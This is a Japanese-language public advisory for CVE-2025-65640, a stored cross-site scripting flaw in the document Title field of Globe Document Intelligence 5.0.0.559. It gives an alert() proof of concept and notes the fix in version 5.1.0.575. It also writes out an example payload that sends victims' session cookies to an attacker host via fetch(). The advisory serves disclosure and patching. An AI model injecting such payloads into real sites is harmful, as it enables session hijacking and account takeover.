vincenzo-emanuele/cve-2025-65640CVE-2025-65640 に関する公開アドバイザリ: Globe Document Intelligence の Stored XSS 脆弱性
Globe Document Intelligence プラットフォーム（バージョン 5.0.0.559）において、格納型クロスサイトスクリプティング (XSS) の脆弱性が確認されました。 このアプリケーションは、新しく作成されたドキュメントの「Title」プロパティ内でユーザーから提供された入力を適切にサニタイズまたはエンコードできません。 認証されたユーザーがサマリーページ（例：「Task in progress / Recent」）に移動すると、悪意のあるペイロードが反射され、被害者のブラウザのコンテキスト内で実行されます。
この脆弱性により、認証された攻撃者は悪意のある JavaScript コードをサーバーに保存できます。
他の認証ユーザー（管理者アカウントを含む）が影響を受けるページを表示すると、スクリプトが自動的に実行されます。
以下の概念実証では、無害な alert() を使用して脆弱性を示していますが、攻撃者はこの欠陥を悪用してセッションハイジャックやアカウント乗っ取りを達成することができます。
例えば、<script>fetch('https://attacker.com/?cookie='+encodeURIComponent(document.cookie))</script> のようなペイロードを注入すると、被害者のセッションクッキーが攻撃者によって制御される外部サーバーにサイレントに流出します。
脆弱性を再現するには、認証された攻撃者は以下の手順を実行できます。
<script>alert("XSS")</script>ベンダーによると、この脆弱性はバージョン 5.1.0.575 で対処されています。 この問題を解決するには、Globe Document Intelligence プラットフォームをバージョン 5.1.0.575 に更新することを推奨します。
この概念実証 (PoC) は、教育および研究目的でのみ提供されています。 本書に記載された情報およびコードは、システム所有者からの明示的な事前許可なく、悪意のある活動やシステムに対して使用してはなりません。著者は一切の責任を負わず、提供された資料の適用によって生じた誤用または損害について責任を負いません。